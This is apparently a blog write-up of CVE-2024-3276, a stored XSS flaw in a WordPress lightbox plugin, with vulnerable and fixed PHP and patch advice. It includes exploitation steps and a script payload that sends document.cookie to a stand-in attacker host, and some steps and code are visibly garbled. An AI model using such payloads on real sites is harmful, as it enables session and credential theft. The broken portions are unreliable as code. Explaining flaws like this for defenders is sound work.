The WordPress ecosystem is vast, with plugins extending functions for millions of sites. But with flexibility comes risk. One such recent vulnerability is CVE-2024-3276, found in the popular *Lightbox & Modal Popup* plugin, a.k.a. foobox-image-lightbox-premium, prior to version 2.7.28. This long-form post breaks down what the bug is, how it works, how it can be exploited, and—if you’re a defender—how to protect yourself.

What is CVE-2024-3276?

CVE-2024-3276 is a *Stored Cross-Site Scripting (XSS)* vulnerability in the foobox-image-lightbox-premium plugin for WordPress, versions before 2.7.28. It does not properly sanitize or escape some of its settings when they are saved. This means that a user with elevated permissions (like an admin), but without the unfiltered_html capability (common in WordPress Multisite setups), can still inject dangerous JavaScript code.

Vulnerability Type: Stored XSS

- User Permissions Required: High (Admin or similar), but specifically impactful in environments with restricted HTML permissions.

Why Is This Serious?

Stored XSS means the malicious code is saved to the database and served to other users viewing the content, potentially:

- Capturing login cookies/credentials

Running actions as an admin

It’s highly impactful on *Multisite* WordPress setups, where even admins typically don’t have the power to insert raw JavaScript (unfiltered_html is blocked for most users).

Technical Details

The plugin fails to use WordPress’ standard sanitization/escaping functions when saving specific settings. Let’s break down what this means.

Imagine the plugin has a settings field, e.g. "Custom Footer HTML", and stores it as is to the database without any checks.

If the admin inputs

<script>alert("XSS By CVE-2024-3276")</script>

And this is not sanitized, every subsequent admin page load will execute the attacker’s JS.

In the plugin’s settings handler (PHP)

// BAD: No sanitization!
update_option('foobox_custom_footer', $_POST['foobox_custom_footer']);

Instead, the code should have used

// GOOD: Sanitizing output
update_option('foobox_custom_footer', wp_kses_post($_POST['foobox_custom_footer']));

Or, for ultimate safety (escaping on output)

echo esc_html( get_option( 'foobox_custom_footer' ) );

But in versions before 2.7.28, this was not consistently done.

c. In a vulnerable input, inject malicious code, such as

<script>
    fetch('https://evil.example.com/steal?cookie='; + document.cookie);
</script>

*Or any other JavaScript payload.*

d. Save settings.

e. When any admin visits the affected admin page, the script executes—HTTP requests are sent, credentials can be stolen, or unwanted actions performed.

Let’s use a simple payload for demonstration

<script>alert('XSS via CVE-2024-3276')</script>

If stored, every user with access to this settings page, including possibly other admins/editors, will trigger the alert—and more complex payloads can run in place of the alert.

`html

When another admin or site user loads the page, their browser will broadcast cookies to evil.com.

*Note*: Don't use this for malicious purposes! It's a PoC for defenders and devs.

References & Sources

- CVE-2024-3276 NVD entry
- WPScan Vulnerability Database Entry
- Plugin changelog / Patch

Summary

CVE-2024-3276 in the popular Lightbox & Modal Popup plugin is a classic but serious example of how improper input handling can lead to stored XSS—even on supposedly locked-down WordPress multisites. If you run this plugin, update now. If you code plugins, sanitize and escape *always*.

*Stay safe, patch often, and review your plugins’ data-handling practices.*


*Exclusive to this post, for simple understanding by WordPress admins and devs.*

*Feel free to share to help your fellow WordPress users!*

Timeline

Published on: 06/18/2024 06:15:12 UTC
Last modified on: 07/08/2024 14:19:01 UTC